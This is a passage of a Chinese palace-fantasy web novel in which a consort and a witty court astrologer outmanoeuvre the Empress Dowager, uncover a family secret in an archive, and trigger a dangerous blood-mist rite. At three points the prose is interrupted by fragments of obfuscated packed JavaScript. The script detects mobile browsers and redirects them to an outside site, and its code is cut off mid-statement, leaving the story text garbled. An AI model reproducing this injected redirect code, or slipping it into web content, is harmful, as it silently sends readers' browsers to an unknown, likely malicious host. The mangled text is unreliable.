阮时逢站在温招斜后方,清晰地听到了她的话。他眼底飞快地掠过一丝极淡的讶异,随即又被更深的笑意取代。 他微微侧头,目光落在温招沉静的侧脸上,那眼神带着点重新评估的兴味,像发现了什么有趣的新东西。 魑惊抱着食盒,紧张得指尖发白,却又莫名觉得自家娘娘那清冷的身影,此刻竟有种说不出的……硬气。 长孙懿的目光如同淬了毒的冰棱,在温招脸上刮过,最终,那薄冰似的唇角缓缓勾起一个更冷的弧度。 “好,好一个天意自明,好一个非言语所能撼’。”她声音不高,却带着一种山雨欲来的压迫感,“良妃的见识,哀家今日算是领教了。” 她不再看温招,目光转向阮时逢,那眼神锐利依旧,却仿佛在掂量着什么:“阮大人平日里从来不闻窗外事,怎么今个竟起的如此早?” 阮时逢迎上太后的目光,脸上那点慵懒的笑意丝毫未变,仿佛没听出话里的试探。他甚至还抬手理了理自己那几缕被冷茶压过却依旧不太服帖的湿发,动作带着点漫不经心的随意。 “太后娘娘说笑了。”他声音清朗,带着点刚睡醒的微哑,听起来倒有几分无辜,“微臣昨夜观星,见紫微垣略有异动,心有所感,便多推演了会儿时辰,故而睡得晚了些。” 他顿了顿,目光坦然地回视太后锐利的眼睛,唇角弯起的弧度恰到好处,“这不,刚被星象‘叫醒’,就撞见良妃娘娘了。可见这司天监的风水,今日是与良妃娘娘有缘。” 他话里半真半假,将“起得早”归咎于“观星推演”,既解释了现状,又隐晦地点出自己恪尽职守。一句“有缘”,更是四两拨千斤,把太后突如其来的驾临也纳入了“天意”的范畴,巧妙地化解了对方关于他“破例早起”的质疑。 长孙懿盯着他看了片刻。阮时逢脸上那副轻松自若的神情滴水不漏,仿佛刚才那个下意识挡在温招前面的动作从未发生。她心底那点疑虑像打在棉花上的拳头,无处着力。最终,她只从鼻间发出一声极轻的冷哼。 “星象?”她重复了一遍,目光扫过壁上那些繁复的星图,又落回阮时逢脸上,带着一丝不易察觉的审视,“那阮大人倒是说说,今日星象,主何吉凶?是否也主……有些人,该安分些了?” 这话锋又暗指温招,带着冰冷的警告。 阮时逢像是没听懂那弦外之音,反而煞有介事地掐指一算,动作流畅自然。片刻后,他放下手,对着太后展颜一笑,那笑容在昏黄的晨光里显得格外晃眼: “回太后娘娘,今日星盘转动,主东南有吉气升腾,利农桑,宜祈福。” 他顿了顿,目光极其自然地掠过旁边静立如霜的温招,又回到太后脸上,语气真诚得毫无破绽,“至于安分……星盘不认人,只认时辰。该动时动,该静时静,顺应天时,便是最大的安分了。太后娘娘您说,是也不是?” 他将“安分”巧妙地偷换概念,转成了“顺应天时”,再次把话题引回了天道运行的宏大命题上,让长孙懿那点后宫倾轧的私心显得格外局促。 长孙懿的脸色彻底沉了下来,如同冰封的湖面裂开道道寒纹。 她深深地看了阮时逢一眼,那眼神锐利得几乎要将他刺穿,最终却什么也没再说。她猛地拂袖转身,繁复的宫裙带起一阵冷风。 “回宫!” 环佩叮当声比来时更显急促沉重,带着一股压抑不住的怒火,迅速消失在司天监清冷的回廊深处。 殿内紧绷的空气骤然一松。 温招有些意外的看了阮时逢一眼,她没想到这个吊儿郎当的半吊子能这么帮她。 阮时逢脸上那副面对太后时的正经面具瞬间垮掉。他夸张地松了口气,整个人像是被抽了骨头,懒洋洋地往旁边酸枝木椅的扶手上一靠,抬手又去扒拉自己那几缕湿漉漉的,依旧不太驯服的头发。 “哎呀呀,可算走了。”他声音拖长了调子,带着点劫后余生的懒散,桃花眼一弯,又恢复了那副熟悉的、带着点欠揍神情的模样。 “大清早的,扰人清梦不说,还夹枪带棒的,累得慌。” 他边说边侧过头,看向温招,眼神亮晶晶的,带着毫不掩饰的好奇和促狭,像只刚打跑入侵者,正得意洋洋等着被夸奖的猫。 “好了,娘娘,”他身体微微前倾,凑近了些,压低了点声音,语气带着一点俏皮。 “您是想先祈福,还是先去潮阁啊?”祈福不过是幌子罢了,此刻阮时逢竟然拿着事调侃起了温招。 温招勾了勾唇,这人刚帮完自己,便也就顺着他说。“劳烦国师大人先助本宫祈福。” 阮时逢那双漂亮的桃花眼瞬间弯成了月牙,里面闪动着狡黠的光,像只偷腥成功的猫。他慢悠悠地直起身,掸了掸其实并不存在的灰尘,拖着调子: “娘娘有命,微臣岂敢不从?只是这祈福嘛……”他故意顿了顿,目光在温招平静无波的脸上溜了一圈,随后一转身,嘴里开始吊儿郎当的念叨起来。 “斗转星移,皆循天序。今持心叩拜,祈北斗引途,南斗护生。一星一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070891|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿,敬候天听。愿天降福于此,忽悠娘娘。” 等等……如果温招没听错的话,阮时逢最后说的一句是……忽悠……果然,臭柿子,就不能给他好脸色…… “忽悠本宫?” 温招清冷的声音响起,不高。却瞬间冻住了阮时逢那点摇头晃脑的得意。他念咒似的调子戛然而止。 阮时逢身体一僵,慢吞吞地转过身。温招就站在他身后一步之遥,暮光给她素净的宫装镀上一层淡金,衬得那张脸愈发冷玉雕成一般。 她脸上没什么怒容,只是那双眼睛,清澈见底,此刻正平静无波地看着他,像在看物品一样。 “呃……”阮时逢喉结滚动了一下,脸上那点狡黠的笑意像是被寒风刮过,凝固在嘴角。 他眨了眨那双漂亮的桃花眼,试图找回一点无辜,“娘娘听错了?微臣说的是护佑……护佑娘娘!天大的福泽,护佑娘娘!”他声音拔高了些,试图显得真诚。 温招没说话,只是静静地看着他。那目光像无形的丝线,缠得阮时逢心里那点小得意一点点漏气。 破军在角落里猛地捂住嘴,肩膀可疑地抖动起来。魑惊抱着食盒,看看自家主子,又看看僵住的国师,小脸憋得通红,大气不敢出。 殿内只剩下窗外暮色流淌的微响,和阮时逢那点越来越虚的心跳声。 温招终于动了。她极其缓慢地向前迈了一步。那一步很轻,却像踩在阮时逢绷紧的神经上。她抬起手,动作不疾不徐,带着一种近乎优雅的压迫感。 阮时逢下意识想后退,脚跟刚离地,温招那只手已经伸了过来。没有扇巴掌,也没有怒斥。 那冰凉的指尖,掐住了阮时逢后颈靠近衣领的一小块皮肉。 力道不重,甚至有点像拎小猫。但位置刁钻,带着一种天然的掌控感。 阮时逢整个人像被点了穴,瞬间僵直。他漂亮的眼睛猛地瞪圆了,里面清晰地映出温招近在咫尺的的面容。 一股奇异的、混合着震惊、羞耻和一丝难以言喻的酥麻感,从被掐住的那一点瞬间窜遍全身。 “阮大人,”温招的声音贴着他耳朵响起,清泠泠的,带着点微不可察的寒气,“这祈福的咒文,是司天监秘传?还是柿子大人……临时编来,专忽悠本宫的?” 她说话时气息拂过阮时逢的耳廓,明明是温热的,却让他后颈那片皮肤激起一层细小的疙瘩。 阮时逢喉结艰难地滑动了一下,想说什么,却发现嗓子有点干。 他试图挣动,温招那看似随意的手指却像铁钳,纹丝不动。 他只能梗着脖子,维持着一个极其别扭的姿势,脸上那点强装出来的轻松彻底碎成了渣。 “娘娘……娘娘息怒……”他终于找回了自己的声音,带着点被抓包的狼狈和一丝不易察觉的委屈。 “微臣……微臣绝无此意!真的是‘护佑’!天地良心!”他试图强调,声音却因为姿势别扭而显得有些滑稽。 温招掐着他后颈皮的手指,几不可察地又用了一点点力。 阮时逢瞬间倒抽一口凉气,像只被捏住命门的猫,所有反抗的念头都被那一点掌控力彻底瓦解。 “本宫听着,像忽悠。”温招的声音依旧没什么起伏,像是在陈述一个客观事实,“看来国师大人昨夜观星,观得连舌头都打结了。” 她松开了手,动作干脆利落,仿佛刚才只是拂去一粒微尘。 阮时逢猛地后退一步,捂着后颈,脸上红一阵白一阵。 那地方残留的冰凉触感和一点微妙的麻痒,让他浑身不自在。 他看着温招那张恢复清冷的脸,桃花眼里没了促狭,只剩下懊悔、委屈和可怜。 温招没再看他,目光转向殿外渐沉的暮色,声音恢复了惯常的平静:“走吧。潮阁。” 她抬步就走,裙裾拂过光洁的地面,带起微尘。仿佛刚才那点小小的“惩戒”从未发生。 在旁人看不到的暗处,温招却也不经意间勾起了嘴角。 阮时逢站在原地,捂着后颈,看着那道清冷的背影消失在门口。 他慢慢放下手,指尖下意识地捻了捻刚才被掐过的地方,那里仿佛还残留着一点奇异的温度。 他脸上表情变幻,最终,那点狼狈褪去,嘴角又不受控制地向上弯起一个极浅的弧度。 破军终于忍不住,噗嗤一声笑了出来,又赶紧死死捂住嘴。魑惊也悄悄松了口气,小跑着跟上温招。 阮时逢揉了揉后颈,对着温招消失的方向,突然回神,连忙双手抱头,夸张的摇头,用只有自己能听见的声音,带着点咬牙切齿的调子低低嘟囔了一句: “死脑子,在想什么啊……” 阮时逢刚开始确实讨厌温招带给他的那种失控感,但如今看来……他不仅不反感了……而且……甚至还会……享受……? 毁了,真毁了,他的“一世英名”不保了。 26.026 破军憋笑憋得肩膀耸动,被阮时逢狠狠瞪了一眼,才勉强站直,只是嘴角还抽搐着。 温招已经走到了殿门口,暮色在她素净的宫装上流淌。她脚步未停,清冷的声音穿透沉寂:“阮大人,带路。” 阮时逢深吸一口气,揉着后颈快步跟上。路过温招身边时,他刻意侧开一点,目光却不受控制地瞟向她垂在身侧的手,此刻安静地拢在袖中,指尖莹白,仿佛什么都没发生过。 他心底那点刚被压下的麻痒,又悄悄挠了一下。 “是,娘娘。”他应道,声音恢复了惯常的慵懒调子,只是仔细听,尾音里还藏着一丝不易察觉的紧绷。 司天监通往潮阁的路曲折幽深,宫灯次第点亮,在暮色四合中投下昏黄的光晕。两人一前一后走着,间隔着半步距离,如同隔着一道无形的屏障。魑惊抱着食盒,破军跟在最后,脚步声在空旷的回廊里显得格外清晰。 阮时逢走在前面引路,背脊挺得笔直,试图找回一点国师的威严。然而后颈那点被掐过的感觉,顽固地提醒着他方才的狼狈。他忍不住又抬手,飞快地摸了一下那处皮肤。 温招的目光落在他这个细微的小动作上,唇角几不可察地向上牵动了一下,快如流星。 “国师大人脖子不适?”她声音平平,听不出情绪。 阮时逢脚步一顿,随即若无其事地放下手,侧过头,脸上堆起一个堪称完美的、毫无破绽的笑容:“谢娘娘关心,微臣好得很。大概是昨夜观星,姿势不大对,落枕了。” “哦。”温招淡淡应了一声,目光移向前方幽暗的回廊深处,“那国师大人下次观星,记得换个舒服的姿势。” 她顿了顿,补充道,“免得……又落枕。” 阮时逢脸上的笑容僵了一瞬。他听懂了那未尽的调侃。 有些事就像风湿,平时察觉不到,阴雨天骨头缝里就钻出来提醒你它的存在。 此刻,他骨头缝里钻出来的,全是温招那两根冰凉的手指。 他扭回头,闷声往前走,后槽牙咬得有点紧。 潮阁临水而建,飞檐斗拱在暮色水光中勾勒出沉默的剪影。 门扉紧闭,隔绝了外界。 阮时逢在门前停下,掏出钥匙打开沉重的铜锁。门轴转动,发出沉闷的呻吟,一股混合着陈旧书卷、干燥木料和淡淡水汽的气息扑面而来。 阁内没有点灯,只有窗外水光映照进来,将高大的书架和堆积的卷宗染上一层幽蓝。空气凝滞,时间仿佛在这里沉淀了百年。 温招抬步走了进去,身影瞬间被阁内的幽暗吞没大半。 阮时逢跟着进去,反手轻轻掩上门,将最后一点暮光也关在门外。 潮阁彻底陷入一种深海般的寂静。 潮阁的寂静里,只有纸张翻动的沙沙声在漫延。 书架从地面摞到梁上,陈年的纸页泛着黄,边角蜷曲如枯蝶的翼。 阮时逢从最上层抽出一摞,掸了掸灰,指尖沾了点白。 他侧头看温招,她正站在西侧书架前,指尖划过一排卷宗的脊,动作轻得像怕惊醒什么。 “找景和年间的?”他问,声音在阁内荡开,比平时沉了些。 温招没回头 “嗯”了一声,抽出其中一卷,转身时裙角扫过地面带起微尘。 她将卷宗搁在书案上,抬手去掀,指节在昏暗中泛着冷白。 阮时逢走过去,挨着书案站定,刻意离了半尺远。 他看见卷宗上的字,墨迹褪得浅淡,像是被水浸过又晒干。 “这卷被潮透过怕是看不清。” 温招没停,指尖按在卷首,缓缓掀开。果然,几行字洇成了墨团,像被谁哭过的脸。她指尖顿了顿,没说话。 阮时逢从怀里摸出个小瓷瓶,倒出点滑石粉,递过去 “擦一擦 能清楚些。” 温招接过,倒了点在指间搓开,再碰纸页时,果然清晰了些。 她垂着眼,长睫在眼下投出小片阴影。 “你倒是什么都带。” “嗨~本座可是万能的。”阮时逢靠着书架,语气懒懒散散。目光却落在她手上,看那滑石粉沾在她指腹,像落了层细雪。 温招忽然停了手,抬眼看他。阁内暗,她的眼睛却亮,像浸在水里的星。 “廿载之前,林府之林静姝,乃为林答应,然欤?” 阮时逢嘴角那点惯常的懒散笑意倏地一收。他站直了身体,目光沉沉落在温招指下的卷宗上,如同被无形的线牵引。阁内幽蓝的水光似乎也凝滞了几分。 “林静姝……”他低声重复这个名字,舌尖碾过这三个字,带着点陈年旧事的尘埃味。“她应当与娘娘同一时入宫。传闻其父林海高也是深情的很……” 阮时逢的声音在潮阁的寂静里沉浮,带着旧纸堆的尘埃味:“林海高……深情得很。” 温招没应声。她指尖停留在那页被水洇开的墨团上片刻,忽然合上了那卷宫册,动作干脆利落。 “宫册不全。”她声音清泠泠的,像冰棱敲在石上。那些记载妃嫔生平的文字,不过是水面上的浮沫。 她转身走向阁内更深处,那里堆放着蒙尘更厚的史官实录和地方志。脚步无声,裙裾拂过地面堆积的微尘,带起细小的漩涡。 阮时逢看着她的背影没入更深的幽蓝阴影里,像一尾潜入深海的鱼。他扯了扯嘴角,没再说话,只是也跟了过去,靴底踩在老旧木板上,发出极其轻微的吱呀声。 温招停在最角落一个积满灰尘的书架前。那书架的木料已经发黑,上面堆放的卷轴用深褐色的油布包裹着,散发着浓重的潮气和陈腐气息。 温招仰头看那油布包。最上层的那个压得有些歪,边角耷拉下来,像是随时会掉。她抬手去够,指尖离油布还有半寸,身体不由自主往前倾了倾。 裙角扫过书架底座,带起一片灰。她没站稳,晃了一下。 身后忽然有气息靠近。阮时逢的声音贴着她耳边落下,带着点笑:“娘娘这是要把书架搬下来?” 温招没回头,手又往上伸了伸。“不用你管。” “啧。”阮时逢绕到她身前,抬手就够到了那个油布包。他把东西往怀里一揽,故意举高了些,“够不着就说一声,逞什么强。” 温招抬眼瞪他。阁内光线暗,那点怒意看着倒像别别扭扭的星火。“放下。” “不放。”阮时逢往后退了半步,笑得欠揍。 温招没理他,转身想找个凳子。脚刚迈开,袖口就被拉住了。她回头,撞进阮时逢眼里。他离得近,呼吸都能感觉到。 “别找了。”他把油布包往她怀里一塞,“潮阁的凳子腿都快朽了,摔着您,微臣可担待不起。” 油布包沉甸甸地落进温招怀里,带着陈年的冷硬气息和呛人的灰尘。 她没理会阮时逢最后那句戏谑,也仿佛没听见他近在咫尺的呼吸。 她抱着那冰冷的卷轴,转身走向书案。脚步平稳,像什么都没发生。 阮时逢看着她的背影,嘴角那点促狭的笑意慢慢淡了,最后消失无踪。 他抬手蹭了下鼻尖,指尖沾了点灰,也沾了点说不清道不明的……没趣。 温招将油布卷轴放在案上。解开麻绳,剥开深褐色的油布,动作不疾不徐,如同剥开一段尘封的岁月。 里面是厚重的史官实录。纸张厚实,颜色是更深的古旧黄褐色,边缘毛糙,带着虫蛀的小孔。 墨迹倒是清晰,透着一股刀刻斧凿般的冷硬。 她垂眸,指尖精准地翻动厚重的书页。纸张摩擦的声音在死寂的潮阁里异常清晰,如同翻阅着历史的脊梁。 幽蓝的水光映在她专注的侧脸上,勾勒出冷硬的线条。 阮时逢靠在不远处的书架上,抱着臂,目光沉静地落在她翻动的手指和那泛黄的纸页上。 温招的指尖在一行行冷硬的记录上滑过。景和十六年…十七年…十八年… 忽然,她翻页的动作顿住了。 指尖悬在发黄的纸页上,停在一个名字上方。 那名字墨色深沉,字迹方正,记录在一堆关于地方官员考绩、赋税、灾异等冰冷事务的条目之间,显得突兀又刺眼。 景和一年,秋,林州府尹林海高,上表请罪。言其发妻万氏,久病失心,狂悖难制,恐伤及府中上下,故锁于西苑偏房,延医诊治。 地方有司查访,未见苛待,唯叹其情可悯。帝悯之,未加罪责。 字迹如枯枝,冰冷地陈述着。 温招的指尖,就悬在“发妻万氏”和“锁于西苑偏房”这几个字上。 阁内死寂。窗外水光幽暗流淌,映得那几行字如同刻在冰面上。 温招缓缓抬起头,看向阮时逢。幽蓝的光线里,她的眼睛深不见底,像结了冰的寒潭。 “景和二十年秋……”她开口,声音不高,却带着一种穿透冰层的寒意,“林静姝……是哪一年入的宫?” 阮时逢的目光也落在那行冰冷的记录上。他沉默了一瞬,才开口,声音比平时低沉许多: “景和二十年春。” 时间像一把冰冷的锉刀,瞬间割开了所有粉饰。真相的骸骨暴露在幽蓝的水光下,苍白得刺眼。 温招的目光重新落回那行记录上,指尖终于落下,轻轻点在“景和一年秋”那几个字上。 “所以,”她的声音在寂静的潮阁里回荡,清冷得没有一丝波澜,“在她为父祈福、自愿入宫之前……” 她顿了顿,每一个字都像冰珠砸在地上: “……她的母亲,早就被她的父亲,亲手锁进了不见天日的囚笼里。” 潮阁的寂静吞噬了尾音。幽蓝的水光在纸页上流淌,墨迹如铁。有些真相一旦被挖出,就像深埋地底的棺木见了光,腐朽的气息再也无法掩盖。 阮时逢看着温招。她脸上依旧没什么表情,眼睫垂落,遮住了眸底翻涌的暗流。 只有那点在纸页上的指尖,微微蜷了一下,泄露出一丝被冰封的震动。 他忽然觉得,这潮阁的水汽太重,重得让人喘不过气。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16078001|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那些堆积如山的故纸堆里,埋着太多这样的骸骨,冰冷,沉默,无人问津。 “深情?”温招的声音打破了死寂,带着点嘲弄的冷意,目光扫过那行冰冷的“唯叹其情可悯”,“这深情,听着倒像是锁链在响。” 赤日高悬中天,烘穹为皓白。 风偃已久,木叶恹恹垂,连蝉噪亦乏力而冗长。 温招与阮时逢离开了潮阁,单凭潮阁史书也看不出什么,倒不如直接去问问本人。 两人遂离了潮阁,转向藏书阁。那巍峨楼阁沉默矗立在炽烈天光下,石阶被晒得滚烫,蒸腾起细微扭曲的空气。 木阶在脚下发出沉闷的呻吟,一级一级向上延伸,仿佛没有尽头。 空气凝滞,唯有两人轻浅的呼吸与足音在空旷的楼梯间回响。 人若活得久了,便知有些答案封在书里,有些答案却封在活人的唇齿间,只看你撬不撬得开。 行至转角,上方阴影里,一道身影无声步下。玄色袍角拂过积尘的阶面,一丝声响也无。 是万公公。依旧是那张毫无波澜的冷面,仿佛烈日也融不开他眼底的冰。 狭路相逢,避无可避。 双方脚步俱是一顿。万公公目光扫过二人,那眼神像淬了寒的生铁,沉甸甸的,不带半分暖意,也不含一丝探询。 他并未言语,只略一颔首,算作最冰冷的礼节,便侧身让过,继续向下行去,步履无声,恍若一道游走的影子,很快没入楼梯下方的昏暗里。 温招与阮时逢对视一眼,未作停留,继续向上。方才那擦肩而过的寒意,已无声地悬在了头顶。 顶楼的门被温招推开,一股陈年纸墨与尘埃混杂的沉闷气息扑面而来。光线昏暗,唯有高窗滤下几缕惨自的光柱,照亮空中浮动的细尘。 这里果然堆满了禁书。书架高耸逼仄,卷册凌乱,蒙着厚厚的灰。两人不再言语,分头在书架与散落的书堆间翻找。空气里只剩下书页翻动的窒声。 阮时逢随手从一堆倾倒的卷宗里抽出一本硬封册子,拍落上面的积灰。封面无字,纸张厚实。他漫不经心地翻开…… 只一眼,阮时逢整个人像被雷劈中般僵住。 书页上并非什么晦涩符咒或禁忌史录,而是色彩浓丽、笔触大胆到近乎嚣张的交缠人形图绘。姿态之露骨,描绘之详尽,扑面而来一股令人窒息的热浪。 “啪! 那册子被他猛地合上,像甩开一块烧红的烙铁,远远丢回了书堆里。动作快得带起一阵风。 温招闻声转头,恰好捕捉到阮时逢耳根瞬间蔓延至脖颈的一片通红。 那张平日里巧舌如簧、惯于调笑风月的脸,此刻血色褪尽又猛地涨红,眼神慌乱地四处乱瞟,就是不敢再看地上的书册,更不敢看温招。他整个人绷得笔直,仿佛那本书会跳起来咬人。 有些人表面是风月老手,背地里却连春宫图都能看得当场石化。 温招眉梢微不可察地动了一下。她看着阮时逢这副难得一见的窘迫模样,那平日里风流倜傥的姿态荡然无存,只剩下一只被踩了尾巴的猫,浑身的毛都炸了起来。 “咳。”温招清了清嗓子,语气平淡无波,甚至带着点恰到好处的疑惑,“阮大人这是?寻到线索了?” 阮时逢像是被这声音烫到,猛地一哆嗦。他强作镇定,试图摆出惯常的潇洒姿态,可惜通红的耳朵和僵硬的脖子出卖了他。“没……没什么!污秽之物!简直……简直有辱斯文!”他声音都拔高了几分,带着一种此地无银三百两的义愤填膺,“这藏书阁顶层怎么……怎么还收这种东西!荒唐!” 他一边说,一边脚步凌乱地往远离那书堆的方向挪,仿佛那堆书突然变成了洪水猛兽。“快找!赶紧找完离开这鬼地方!” 阮时逢催促着,眼神飘忽,就是不肯再往那个角落瞥一眼。 温招看着他同手同脚地走向另一个书架,嘴角极轻微地向上弯了一下。 她弯腰,用两指拈起那本被阮时逢丢回去的册子,随意瞥了眼封面,又轻轻放了回去,动作从容,仿佛只是整理了一下散乱的卷宗。 “嗯,”温招的声音依旧没什么起伏,却像根羽毛轻轻搔在阮时逢紧绷的神经上,“看来此地……天干物燥,容易上火。” 阮时逢的背影明显又僵了一下,脚步更快地消失在两排书架之间,只留下一串略显仓促的脚步声在寂静的顶楼回荡。 温招收回目光,继续翻找手边的卷宗,仿佛刚才那场小小的风波从未发生。 顶楼的灰尘,似乎都因为某人突如其来的脸红而显得活泼了几分。 阮时逢把自己埋进另一排书架深处,背影透着一股强装的专注。温招不再看他,目光沉静地扫过那些落满灰尘的脊背。 时间在翻动的书页和浮尘中缓慢流逝。顶楼的空气凝滞厚重,带着陈腐纸张特有的窒息感。 阮时逢也渐渐从那股灼人的尴尬中缓过劲来,重新投入搜寻,虽然他不知道温招要找什么,但是总归还是要演一演的。 27.027 不知过了多久,温招的动作停了下来。他面前是一排异常高大的乌木书架,色泽深沉,与其他书架格格不入。 书架并未完全塞满,中间几层空着,像是被刻意挪走了什么。但在最底层靠里的角落,散乱地堆着几本没有封皮、纸张明显更为古旧脆黄的册子,被厚厚的灰尘覆盖,几乎与阴影融为一体。 温招蹲下身,拂去最上面一本册子厚重的积灰。 书页边缘磨损得厉害,露出里面暗褐色的内页,上面隐约可见一些扭曲怪异的符号,并非当朝通用文字,透着一股说不出的阴冷邪气。 找到了。 这是万诡门的符号。温招指尖划过那些冰冷的印记,一页接着一页,一本接着一本,动作快而精准,目光在晦涩的图文间快速检索。 灰尘被搅动,在惨白的光柱里无声翻涌。有些东西被深埋,不是因为无用,恰恰是因为它太过危险,危险到连光都不能见。 身后传来轻微的脚步声,停在不远处。 阮时逢不知何时走了过来,他瞥了一眼温招手中那本散发着不祥气息的册子,又看了看地上堆着的其他几本。 他脸上已不见之前的窘迫,取而代之的是一种少见的沉静。他没有问那些符号是什么,也没有问温招为何认得。 他只是也蹲了下来,随手捡起温招脚边另一本同样古旧的书册,拍了拍灰,语气恢复了惯常的轻松,却又带着一丝不易察觉的认真:“娘娘,要找什么?微臣帮您翻翻这些‘砖’?”他晃了晃手中的册子,仿佛那只是块寻常的板砖。 有些事不必问,该知道的,时候到了自然会知道。 不该知道的,问也徒增烦恼。 温招翻页的手指顿了一下,抬眼看向阮时逢。他蹲在阴影里,侧脸被高窗投下的微光勾勒出清晰的轮廓,眼神坦荡,没有窥探。 “血雾引。”温招没有隐瞒,声音依旧平稳。 “成。”阮时逢干脆地应了一声,不再多言,低头开始快速翻阅手中那本邪气森森的册子,动作竟也带上了几分利落。 他不再嬉笑,眉头微蹙,眼神专注地在那些扭曲的文字和令人不适的图样间搜寻,仿佛刚才那个被春宫图惊得炸毛的并非他本人。 顶楼重归寂静,只有两人快速翻动书页的沙沙声,在堆积如山的禁书和浮尘中显得格外清晰。两道人影蹲在幽暗的角落,一个白衣沉静,一个黑裙专注,并肩在尘封的禁忌中翻找着通往过去的钥匙。 这世上的路,有时明知险恶,也总得有人并肩走下去。 日落西山,暗夜将至。 过了许久, 突然, 温招的目光骤然锁在手中册子某一页。 那页纸比其他页更显焦黄脆弱,上面绘着一幅简陋却令人心惊的图样。 一团扭曲的血色雾气,中心包裹着一枚模糊的、似眼非眼的印记。 图样下方,是几行同样扭曲的万诡门密文。 “血雾引……”温招低声念出旁边一个勉强可辨的符号注释,指尖无意识划过那诡异的图样。 指尖触碰到纸张的瞬间,那枚血色印记的线条仿佛微不可察地扭曲了一下,一股极淡的、带着铁锈腥气的阴冷感顺着指尖悄然蔓延。 她立刻收回手指,眼神彻底沉了下去。万诡门的密文旁人是看不懂的,温招作为万诡门最后的后人,自然是看得懂,只是此秘法实在凶险,只怕是九死一生。 阮时逢正翻阅着,余光瞥见温招顿住,他便停下望向温招。 “可有需要我帮忙的地方?” 分寸感是个好东西,至少在温招这里很加分。 温招张了张口,最终吐出两个字:“护法。” 阮时逢脸上那点惯常的散漫瞬间消失无踪。他没有任何犹豫,甚至连一丝惊讶也无,只是干脆利落地应道: “好。” 一个字,重逾千钧。他立刻起身,目光锐利地扫过顶楼幽暗的角落与紧闭的门扉,身形微动,已无声地退至温招侧后方三步之外,一个进可攻、退可守的位置。 他像一把骤然出鞘的刀,锋芒内敛,却蓄势待发。方才那个被春宫图惊得手足无措的人仿佛从未存在过。 温招不再看他,缓缓闭上了眼。她需要集中全部心神,去沟通那纸页上冰冷扭曲的印记。顶楼死寂得可怕,只有两人细微的呼吸声。 阮时逢的目光如同实质,沉甸甸地落在温招身上,又警惕地覆盖着整个空间。他的存在本身,便成了一道无形的屏障。 信任有时无需多言,一个眼神,两个字,足矣。此刻,她便是在这万籁俱寂的禁书之巅,把命交到了他手上。 温招的呼吸变得极其缓慢绵长,几乎微不可闻。她指尖悬停在书页那诡异的血色印记上方,并未真正触碰。 一股无形的、阴冷黏稠的气息却开始以她为中心缓缓弥漫开来,搅动着顶楼凝滞的空气。 她口中无声念诵着艰涩古老的音节,每一个音都像是从齿缝间艰难挤出,带着难以言喻的重量。 书页上那枚“血雾引”的印记竟开始隐隐发亮,不是温暖的光,而是如同凝固血痂般的暗红微芒,在昏暗中显得格外妖异。 时间仿佛被拉长。阮时逢全身肌肉绷紧,像一张引而不发的弓,所有感官提升到极致。 他听到了木阶下极远处传来的模糊更漏声,听到了自己沉稳的心跳,更听到了温招念咒时那细微却令人心悸的滞涩。她在对抗某种巨大的压力。 突然。 温招身体猛地一颤,如同被无形的重锤击中。她紧闭的双眼骤然睁开,瞳孔深处竟掠过一丝混乱的血色。 书页上那暗红的印记光芒大盛,不再是被引动,而是像活物般猛地反噬。 一道细如发丝、却凝练如实质的血色雾气,如同毒蛇吐信,骤然从印记中窜出,直刺温招眉心。 快,快得超出了反应。 阮时逢动了,他的动作没有任何预兆,纯粹是身体在感知到杀机瞬间的本能爆发。 没有思考,没有犹豫,只有一道快得撕裂视线的黑影。 他一步抢到温招身前,左手如电探出,五指成爪,并非去挡那诡异的血雾,那东西无形无质,如何能挡。 他精准无比地劈向温招与书页之间那道无形的联系,右手同时揽住温招肩头,发力将她向后带离。 “断!” 一声低喝,如同惊雷炸响在寂静的顶楼。 血雾消失了。 他不知晓究竟拦没拦下那血雾,只觉一股阴寒刺骨的恶念顺着左手指尖猛地窜入,激得他半边臂膀瞬间麻痹,但此刻他顾不得这些。 反观他身后的温招,像断了线的傀儡,软绵绵地倒了下去。 阮时逢右臂一沉,立刻收紧,将人牢牢接住,揽入怀中。 温招的身体轻得过分,像一片失去依托的羽毛。她双目紧闭,脸色苍白如纸,唇上最后一点血色也褪尽了,只剩下眉心一点不祥的暗红印记, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104747|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如同被烙铁烫过。 方才还沉静如山的人,此刻在他臂弯里气息微弱,仿佛随时会消散。 她额角渗出细密的冷汗,沾湿了几缕鬓发,贴在冰凉的皮肤上。 人有时强大得能触碰禁忌,有时又脆弱得经不起一次反噬。 阮时逢的心跳漏了一拍,随即沉了下去。 他迅速探了探她的颈侧,脉搏微弱但尚存,只是体温低得惊人,如同抱着一块寒玉。 “温招?”他低唤一声,声音带着自己都未察觉的紧绷。 怀中的人毫无反应,只有眉心那点暗红印记,在昏暗光线下幽幽一闪,带着令人心悸的余威。 